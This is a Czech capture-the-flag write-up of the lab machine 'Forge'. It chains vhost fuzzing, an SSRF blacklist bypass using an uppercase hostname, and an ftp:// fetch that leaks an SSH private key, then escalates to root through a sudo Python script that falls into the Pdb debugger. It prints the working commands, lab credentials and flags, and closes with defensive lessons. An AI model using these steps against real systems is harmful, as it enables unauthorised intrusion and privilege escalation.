Forge
Úvod a kontext
Forge je pěkný příklad řetězce, kde jednotlivé kroky samy o sobě nepůsobí fatálně, ale dohromady vedou k plnému převzetí stroje. Začíná to vhostem admin.forge.htb, který je dostupný jen z localhostu, pokračuje SSRF s nedotaženým blacklistem a končí únikem soukromého SSH klíče.
Výukově je na tom stroji důležité hlavně to, že root nezpůsobí další webová chyba, ale privilegovaný pomocný skript. Webová část jen otevře cestu k běžnému shellu; skutečnou eskalaci pak dokončí sudo nad Python skriptem remote-manage.py, který lze přimět spadnout do debuggeru Pdb.
Počáteční průzkum
Síťová stopa a hlavní web
Na první pohled je útoková plocha malá: SSH a Apache. Právě proto je důležité číst i drobné detaily jako redirect na forge.htb a hledat další hostname, ne jen procházet hlavní stránku.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vedlejší vhost admin.forge.htb
Dalším krokem je hledání vhostů. Na Forge je to klíčové, protože hlavní aplikace sama nic zásadního neukáže, ale wfuzz odhalí druhý hostname s interní administrační funkcí.
wfuzz -H "Host: FUZZ.forge.htb" -w SecLists/Discovery/DNS/subdomains-top1million-110000.txt --sc 200 http://10.10.11.111
=> admin.forge.htb
http://admin.forge.htb/
Only localhost is allowed!
Analýza zjištění
SSRF a blacklist obcházený přes uppercase hostname
Hláška Only localhost is allowed! sama o sobě ještě není chyba. Zajímavá se stane ve chvíli, kdy hlavní web nabízí funkci pro stažení souboru z URL. To je klasický kandidát na SSRF: pokud server sám načítá zadanou adresu, může sahat i na interní služby. Tady navíc stačí drobný trik s velkými písmeny v hostname, aby blacklist přestal fungovat.
http://forge.htb/upload
Upload remote url (http://admin.forge.htb): URL contains a blacklisted address!
Upload remote url (http://ADMIN.FORGE.htb/): File uploaded successfully
Po načtení /announcements z interní aplikace se objeví dva důležité údaje: interní FTP server a přihlašovací údaje user:heightofsecurity123!. To je přesně ten moment, kdy se SSRF mění z webové kuriozity na použitelný pivot.
Přístup k FTP a SSH klíči
SSRF zde není cílem, ale prostředkem. Jakmile admin rozhraní prozradí FTP přístup, stejný server-side fetch jde použít i proti ftp:// URL. To dovolí stáhnout přímo soukromý klíč ~/.ssh/id_rsa uživatele user.
http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@ADMIN.FORGE.htb/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----
Získání přístupu
Stabilizace přístupu přes SSH
Jakmile mám soukromý klíč, přechod na SSH je nejrozumnější další krok. Webová chyba posloužila jen jako vstup; SSH už dává stabilní terminál a dovoluje přesněji ověřit lokální artefakty i privilegovaná pravidla.
ssh -i id_rsa user@forge.htb
cat user.txt
8ec502a3f6cc675fe9567aa913373872
sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
Eskalace oprávnění
remote-manage.py, lokální port 13907 a Pdb
remote-manage.py není zajímavý jen tím, že běží přes sudo, ale tím, že komunikuje s lokální službou na portu 13907. Proto má smysl udělat SSH port-forward a protokol si nejdřív osahat ručně. telnet ukáže řetězec secretadminpassword a také to, že nečekaný vstup typu ff vede k chybové větvi.
Při spuštění skriptu přes sudo lze stejnou chybu vyvolat znovu. Skript pak spadne do interaktivního debuggeru Pdb, který už ale běží s root právy. Jakmile je útočník v Pdb, stačí importovat os a spustit shell.
ssh -i id_rsa user@forge.htb -L 13907:localhost:13907
telnet localhost 13907
secretadminpassword
ff
sudo /usr/bin/python3 /opt/remote-manage.py
(Pdb) import os
(Pdb) os.system("bash")
cat root.txt
4850220872f816b8baf534f0a2414c3d
Shrnutí klíčových poznatků
- Rozhodující byla návaznost mezi veřejným upload formulářem a localhost-only admin rozhraním. Samotná hláška
Only localhost is allowed!by bez SSRF nic neznamenala. - User část nevznikla přímým RCE na webu, ale únikem soukromého SSH klíče přes FTP dostupné skrz SSRF.
- Root zde není další zranitelnost v Apache ani OpenSSH. Problém je v diagnostickém skriptu, který jako root zpřístupní debugger.
Co si odnést do praxe
- SSRF obrana nesmí stát jen na blacklistu hostname. Forge ukazuje, že rozdíl mezi
admin.forge.htbaADMIN.FORGE.htbje pro útočníka detail, ale pro obranu fatální selhání validace. - Interní služby a jejich tajemství nesmějí být dosažitelné přes pomocné upload endpointy. Jakmile aplikace umí stahovat
ftp://,http://nebohttps://, je potřeba ji chápat jako proxy do vnitřní sítě. - Diagnostické a administrační skripty spuštěné přes
sudomusí mít bezpečné chybové chování. Debugger, traceback s interaktivní konzolí nebo shell-out na lokální službu je v privilegovaném kontextu prakticky hotový root exploit.